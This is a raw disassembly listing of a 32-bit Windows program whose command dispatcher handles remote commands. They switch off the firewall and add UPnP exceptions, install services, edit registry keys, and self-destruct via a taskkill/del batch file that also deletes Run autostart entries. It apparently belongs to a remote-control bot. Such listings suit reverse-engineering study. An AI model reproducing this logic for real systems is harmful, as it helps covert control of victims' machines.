mov byte [eax], bl
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x30
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x54], esp
cmp dword [ecx + 0x18], ebp
jb 0x4217a0
mov eax, dword [ecx + 4]
jmp 0x4217a3
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], bl
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x31
mov ecx, esp
mov dword [esp + 0x78], esp
push str._:_divsig_f_powerstate.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x32
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x9c], esp
cmp dword [ecx + 0x18], ebp
jb 0x4217f1
mov eax, dword [ecx + 4]
jmp 0x4217f4
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push esi
mov byte [eax], bl
call fcn.0042bf10
lea edi, [esp + 0x3e8]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x390], ebp
jb 0x42182f
mov edx, dword [esp + 0x37c]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x390], 0xf
mov dword [esp + 0x38c], ebx
mov byte [esp + 0x37c], bl
mov ecx, str.f_powerstate2
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421baa
lea eax, [esp + 0xe8]
push eax
call sub.KERNEL32.dll_GetSystemPowerStatus
mov edx, dword [0x468260]
mov eax, dword [edx + 0xc]
mov ecx, 0x468260
call eax
add eax, 0x10
mov dword [esp + 0x2c], eax
xor ecx, ecx
mov dword [esp + 0x1cbc], 7
mov dword [esp + 0x1cb8], 0
mov word [esp + 0x1ca8], cx
mov byte [esp + 0x3e70], 0x34
mov edx, dword [esp + 0xec]
cmp edx, 0xffffffff
je 0x4218c3
mov eax, 0x88888889
mul edx
shr edx, 5
push edx
push str._I32d
lea edi, [esp + 0x34]
call fcn.0042f0b0
mov eax, dword [esp + 0x34]
add esp, 8
lea ecx, [esp + 0x1630]
call fcn.0042bc20
push 0xffffffffffffffff
xor ebp, ebp
push ebp
lea ecx, [esp + 0x1cac]
mov byte [esp + 0x3e78], 0x35
call fcn.0042c6a0
lea ecx, [esp + 0x1630]
mov byte [esp + 0x3e70], 0x34
call fcn.0042bc90
lea edx, [esp + 0x1ca4]
push edx
lea esi, [esp + 0x1c54]
call fcn.00402ae0
add esp, 4
mov byte [esp + 0x3e70], 0x36
movzx eax, byte [esp + 0xea]
push eax
lea ecx, [esp + 0x5e4]
push ecx
call fcn.004027f0
push eax
mov edi, 0x45cb70
lea esi, [esp + 0x3bc]
mov byte [esp + 0x3e7c], 0x37
call fcn.0042f240
sub esp, 0x10
mov byte [esp + 0x3e8c], 0x38
mov edi, esp
lea edx, [esp + 0x1c6c]
mov dword [esp + 0x30], esp
push edx
push eax
call fcn.0042f780
add esp, 8
lea edi, [esp + 0x110]
call fcn.00407d20
add esp, 0x1c
mov esi, dword [esp + 0x20]
push 0xffffffffffffffff
push ebp
add esi, 0x414
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x39
call fcn.0042bf10
mov ebx, 0x10
cmp dword [esp + 0x10c], ebx
jb 0x4219cd
mov eax, dword [esp + 0xf8]
push eax
call fcn.00434321
add esp, 4
mov edi, 0xf
mov dword [esp + 0x10c], edi
mov dword [esp + 0x108], ebp
mov byte [esp + 0xf8], 0
cmp dword [esp + 0x3c8], ebx
jb 0x421a01
mov ecx, dword [esp + 0x3b4]
push ecx
call fcn.00434321
add esp, 4
mov byte [esp + 0x3e70], 0x36
mov dword [esp + 0x3c8], edi
mov dword [esp + 0x3c4], ebp
mov byte [esp + 0x3b4], 0
cmp dword [esp + 0x5f8], ebx
jb 0x421a38
mov edx, dword [esp + 0x5e4]
push edx
call fcn.00434321
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x614], edi
mov dword [esp + 0x610], ebp
mov byte [esp + 0x600], 0
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebp
mov dword [esp + 0x30], esp
cmp dword [ecx + 0x18], ebx
jb 0x421a67
mov eax, dword [ecx + 4]
jmp 0x421a6a
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebp
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x3a
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebp
mov dword [esp + 0x54], esp
cmp dword [ecx + 0x18], ebx
jb 0x421a9b
mov eax, dword [ecx + 4]
jmp 0x421a9e
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebp
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x3b
mov ecx, esp
mov dword [esp + 0x78], esp
push str._:_divsig_f_powerstate.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x3c
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebp
mov dword [esp + 0x88], esp
cmp dword [ecx + 0x18], ebx
jb 0x421aed
mov eax, dword [ecx + 4]
jmp 0x421af0
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebp
push esi
mov byte [eax], 0
call fcn.0042bf10
lea edi, [esp + 0x458]
mov byte [esp + 0x3ee0], 0x36
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x400], ebx
jb 0x421b2c
mov eax, dword [esp + 0x3ec]
push eax
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [esp + 0x400], esi
mov dword [esp + 0x3fc], ebp
mov byte [esp + 0x3ec], 0
cmp dword [esp + 0x1c68], ebx
jb 0x421b60
mov ecx, dword [esp + 0x1c54]
push ecx
call fcn.00434321
add esp, 4
lea ecx, [esp + 0x1ca4]
mov dword [esp + 0x1c68], esi
mov dword [esp + 0x1c64], ebp
mov byte [esp + 0x1c54], 0
call fcn.0042bc90
mov byte [esp + 0x3e70], 4
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x421baa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, str.ini_modules_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421c17
push 1
sub esp, 0x1c
mov eax, 0x45c7e4
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x3d
mov eax, str.Modules
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x3e
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_modules_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421c84
push 1
sub esp, 0x1c
mov eax, 0x45c804
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x3f
mov eax, str.Modules
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x40
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s1_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421cf1
push 1
sub esp, 0x1c
mov eax, 0x45c7e4
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x41
mov eax, 0x45cbcc
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x42
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s1_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421d5e
push 1
sub esp, 0x1c
mov eax, 0x45c804
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x43
mov eax, 0x45cbcc
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x44
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s2_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421dcb
push 1
sub esp, 0x1c
mov eax, 0x45c7e4
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x45
mov eax, 0x45cbec
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x46
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s2_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421e38
push 1
sub esp, 0x1c
mov eax, 0x45c804
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x47
mov eax, 0x45cbec
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x48
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s3_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421ea5
push 1
sub esp, 0x1c
mov eax, 0x45c7e4
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x49
mov eax, 0x45cc0c
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x4a
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s3_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421f12
push 1
sub esp, 0x1c
mov eax, 0x45c804
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x4b
mov eax, 0x45cc0c
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x4c
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s4_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421f7f
push 1
sub esp, 0x1c
mov eax, 0x45c7e4
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x4d
mov eax, 0x45cc2c
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x4e
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s4_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421fec
push 1
sub esp, 0x1c
mov eax, 0x45c804
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x4f
mov eax, 0x45cc2c
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x50
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s6_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422059
push 1
sub esp, 0x1c
mov eax, 0x45c7e4
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x51
mov eax, 0x45cc4c
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x52
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_s6_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4220c6
push 1
sub esp, 0x1c
mov eax, 0x45c804
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x53
mov eax, 0x45cc4c
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x54
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_fastcalls_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422133
push 1
sub esp, 0x1c
mov eax, 0x45c7e4
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x55
mov eax, str.fastcalls
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x56
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_fastcalls_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4221a0
push 1
sub esp, 0x1c
mov eax, 0x45c804
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x57
mov eax, str.fastcalls
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x58
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_cpulog_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42220d
push 1
sub esp, 0x1c
mov eax, 0x45c7e4
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x59
mov eax, str.cpulog
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x5a
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.ini_cpulog_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42227a
push 1
sub esp, 0x1c
mov eax, 0x45c804
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0x5b
mov eax, str.cpulog
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x5c
mov eax, str.SOFTWAREHive
mov ecx, esp
mov dword [esp + 0x74], esp
call fcn.0042bc20
mov byte [esp + 0x3ec8], 4
call fcn.0041f170
mov ecx, str.regedit_set_hklm
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
mov ecx, str.load_fastcall
call fcn.0042f0d0
test al, al
je 0x42229e
call fcn.0041ed10
mov ecx, str.load_smodules
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4222cc
cmp byte [0x468e4b], 0
jne 0x4222cc
mov ecx, dword [esp + 0x20]
mov byte [ecx + 0x2c1], 1
call fcn.0041e370
mov ebp, dword [esp + 0x20]
mov ecx, str.f_disks
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4223d4
sub esp, 0x1c
mov ecx, esp
mov ebx, 0xf
xor edi, edi
mov dword [ecx + 0x18], ebx
mov esi, 0x10
mov dword [ecx + 0x14], edi
mov dword [esp + 0x34], esp
cmp dword [ecx + 0x18], esi
jb 0x42230e
mov eax, dword [ecx + 4]
jmp 0x422311
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x5d
mov ecx, esp
mov dword [ecx + 0x18], ebx
mov dword [ecx + 0x14], edi
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], esi
jb 0x422342
mov eax, dword [ecx + 4]
jmp 0x422345
lea eax, [ecx + 4]
push 0xffffffffffffffff
push 0
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x5e
mov ecx, esp
mov dword [esp + 0x70], esp
push str.divsig_disks.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x5f
mov edi, esp
mov dword [esp + 0x94], esp
call fcn.004184f0
lea edi, [esp + 0x768]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x710], esi
jb 0x4223ba
mov edx, dword [esp + 0x6fc]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x710], ebx
mov dword [esp + 0x70c], 0
mov byte [esp + 0x6fc], 0
mov ecx, str.system_firewall_turn_on
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4223f3
push 1
call fcn.00403720
add esp, 4
mov ecx, str.system_firewall_turn_off
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422412
push 0
call fcn.00403720
add esp, 4
mov ecx, str.system_firewall_exception_del
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422460
sub esp, 0x1c
mov eax, str.UPnP
mov ecx, esp
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x60
mov edi, esp
mov dword [esp + 0x4c], esp
call fcn.00402e90
mov byte [esp + 0x3ea8], 4
call fcn.00403620
add esp, 0x38
mov ecx, str.system_firewall_exception_add
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4224ae
sub esp, 0x1c
mov eax, str.UPnP
mov ecx, esp
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x61
mov edi, esp
mov dword [esp + 0x4c], esp
call fcn.00402e90
mov byte [esp + 0x3ea8], 4
call fcn.00403520
add esp, 0x38
mov ecx, str.online
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4224ca
mov byte [0x468d98], 1
mov ecx, str.system_service_uninstall
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4224e4
call fcn.004042c0
mov ecx, str.system_service_install
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422617
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42251d
push 0x400
lea ecx, [esp + 0x1e68]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x1e64]
push edx
lea ecx, [esp + 0x424]
call fcn.0042b4b0
push 0xffffffffffffffff
xor ebx, ebx
push ebx
lea esi, [ebp + 0x414]
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x62
call fcn.0042bf10
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x438], 0x10
jb 0x42256e
mov eax, dword [esp + 0x424]
push eax
call fcn.00434321
add esp, 4
push esi
mov ebp, 0xf
mov edi, str.__service
lea esi, [esp + 0x61c]
mov dword [esp + 0x43c], ebp
mov dword [esp + 0x438], ebx
mov byte [esp + 0x428], 0
call fcn.0042f240
add esp, 4
lea ecx, [esp + 0x980]
push ecx
mov ecx, eax
mov byte [esp + 0x3e74], 0x63
call fcn.00402c10
add esp, 4
cmp dword [eax + 0x18], 8
jb 0x4225c3
mov eax, dword [eax + 4]
jmp 0x4225c6
add eax, 4
push eax
call fcn.00404280
add esp, 4
lea ecx, [esp + 0x980]
call fcn.0042bc90
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x630], 0x10
jb 0x4225fd
mov edx, dword [esp + 0x61c]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x630], ebp
mov ebp, dword [esp + 0x20]
mov dword [esp + 0x62c], ebx
mov byte [esp + 0x61c], 0
mov ecx, str.exit
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422633
push 0
call fcn.00437a14
mov ecx, str.restartme
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422747
mov eax, str.__restart
lea ecx, [esp + 0x1c18]
call fcn.0042bc20
mov byte [esp + 0x3e70], 0x64
cmp byte [0x468e4a], 0
je 0x4226a6
lea eax, [esp + 0x1c18]
push eax
push str._run
lea edi, [esp + 0x1210]
call fcn.0042f860
add esp, 8
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1c20]
mov byte [esp + 0x3e78], 0x65
call fcn.0042c6a0
mov ecx, edi
jmp 0x4226dc
lea ecx, [esp + 0x1c18]
push ecx
push str._minimized
lea edi, [esp + 0x9c0]
call fcn.0042f860
add esp, 8
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1c20]
mov byte [esp + 0x3e78], 0x66
call fcn.0042c6a0
mov ecx, edi
mov byte [esp + 0x3e70], 0x64
call fcn.0042bc90
lea edi, [esp + 0x1860]
call fcn.00402e90
mov ecx, dword [esp + 0x1c1c]
mov edx, 8
cmp dword [esp + 0x1c30], edx
jae 0x422711
lea ecx, [esp + 0x1c1c]
cmp dword [eax + 0x18], edx
jb 0x42271b
mov eax, dword [eax + 4]
jmp 0x42271e
add eax, 4
push 0
push 0x45b3f8
push ecx
push eax
push 0x45c690
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [esp + 0x1860]
call fcn.0042bc90
push 0
call fcn.00437a14
mov ecx, str.selfdestruct
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422a7f
push 0x45c640
call fcn.0043755c
add esp, 4
push eax
lea ecx, [esp + 0x1244]
call fcn.0042b4b0
push eax
mov edi, str._a.bat
lea esi, [esp + 0x9f4]
mov byte [esp + 0x3e74], 0x67
call fcn.0042f240
add esp, 4
mov ebp, dword [esp + 0x20]
push 0xffffffffffffffff
push 0
add ebp, 0x414
push eax
mov ecx, ebp
mov byte [esp + 0x3e7c], 0x68
call fcn.0042bf10
mov ecx, esi
call fcn.0042b520
lea ecx, [esp + 0x1240]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov esi, 0x10
cmp dword [ebp + 0x18], esi
jb 0x4227df
mov ebx, dword [ebp + 4]
jmp 0x4227e2
lea ebx, [ebp + 4]
push 0x45b404
lea ecx, [esp + 0x1b58]
call fcn.0042b4b0
push ebp
mov ecx, str._taskkill__f__im__2_r_n_taskkill__f__im__2_r_n_taskkill__f__im__2_r_n_taskkill__f__im__2_r_n_del__1_r_ndel
lea edi, [esp + 0xa2c]
mov byte [esp + 0x3e74], 0x69
call fcn.0042f190
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x1b60]
mov byte [esp + 0x3e7c], 0x6a
call fcn.0042bf10
mov ecx, edi
mov byte [esp + 0x3e70], 0x69
call fcn.0042b520
mov edi, dword [esp + 0x1b58]
cmp dword [esp + 0x1b6c], esi
jae 0x42284f
lea edi, [esp + 0x1b58]
push 0x45bff8
push ebx
call fcn.00435de6
mov esi, eax
add esp, 8
test esi, esi
jne 0x4228b0
lea ecx, [esp + 0x1b54]
call fcn.0042b520
lea ecx, [esp + 0x1ac8]
call fcn.0042b520
lea ecx, [esp + 0x1a90]
call fcn.0042b520
lea ecx, [esp + 0x1ae4]
call fcn.0042b520
lea ecx, [esp + 0x1aac]
call fcn.0042b520
lea ecx, [esp + 0x3e7c]
call fcn.0042b520
jmp 0x427e07
push edi
push 0x45b524
push esi
call fcn.0043615c
add esp, 0xc
push esi
call fcn.004376a7
add esp, 4
push 0x45b404
lea ecx, [esp + 0x1b58]
call fcn.0042bff0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4228f9
push 0x400
lea edx, [esp + 0x2a68]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x45bc28
lea ecx, [esp + 0x1b58]
call fcn.0042bff0
lea eax, [esp + 0x2a64]
push eax
lea ecx, [esp + 0x166c]
call fcn.0042b4b0
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b5c]
mov byte [esp + 0x3e78], 0x6b
call fcn.0042d1c0
lea ecx, [esp + 0x1668]
mov byte [esp + 0x3e70], 0x69
call fcn.0042b520
mov ecx, esi
push ecx
mov edx, 0x45ce54
call fcn.0042b560
mov edx, esi
push edx
mov edx, 0x45bc28
call fcn.0042b560
mov eax, esi
push eax
mov edx, str.taskmgr.exe
call fcn.0042b560
mov ecx, esi
push ecx
mov edx, 0x45bc28
call fcn.0042b560
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea edx, [esp + 0x34]
push edx
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
mov dword [esp + 0x48], 0
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4229c6
mov eax, dword [esp + 0x34]
push 0x45c8f4
push eax
call edi
mov ecx, dword [esp + 0x34]
push ecx
call ebx
lea edx, [esp + 0x34]
push edx
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x4229f2
mov eax, dword [esp + 0x34]
push 0x45c8f4
push eax
call edi
mov ecx, dword [esp + 0x34]
push ecx
call ebx
call fcn.00407c80
test al, al
je 0x422a39
call fcn.004042c0
sub esp, 0x1c
mov eax, str.UPnP
mov ecx, esp
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x6c
mov edi, esp
mov dword [esp + 0x4c], esp
call fcn.00402e90
mov byte [esp + 0x3ea8], 0x69
call fcn.00403620
add esp, 0x38
mov eax, dword [esp + 0x1b58]
mov ecx, 0x10
cmp dword [esp + 0x1b6c], ecx
jae 0x422a55
lea eax, [esp + 0x1b58]
cmp dword [ebp + 0x18], ecx
jb 0x422a5f
mov ebp, dword [ebp + 4]
jmp 0x422a62
add ebp, 4
push 0
push 0x45b404
push eax
push ebp
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call fcn.00437a14
mov ecx, str.system_service_lost_me
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422a9b
mov byte [ebp + 0x2c0], 0
mov ecx, str.system_service_activate
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422b18
cmp byte [0x468e4a], 0
jne 0x422b11
push 0x10
lea edx, [ebp + 0x2c8]
push edx
push 0
lea esi, [ebp + 0x2ec]
mov byte [esi], 0x61
mov byte [ebp + 0x2ed], 0x63
push 0x100
mov byte [ebp + 0x2ee], 0x74
mov eax, dword [ebp + 0x2c4]
push esi
push eax
call sub.WS2_32.dll_sendto
mov eax, dword [ebp + 0x2c4]
lea ecx, [ebp + 0x2e8]
push ecx
lea edx, [ebp + 0x2d8]
push edx
push 0
push 0x100
push esi
push eax
call sub.WS2_32.dll_recvfrom
jmp 0x422b18
mov byte [ebp + 0x2c0], 1
mov ecx, str.system_service_lost
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422b65
cmp byte [0x468e4a], 0
je 0x422b5e
mov ecx, dword [ebp + 0x2e8]
push ecx
mov ecx, dword [ebp + 0x2c4]
lea edx, [ebp + 0x2d8]
push edx
push 0
push 0x100
lea eax, [ebp + 0x2ec]
push eax
push ecx
call sub.WS2_32.dll_sendto
mov byte [ebp + 0x2c0], 0
mov ecx, str.stat_traffic
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422c86
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x6d
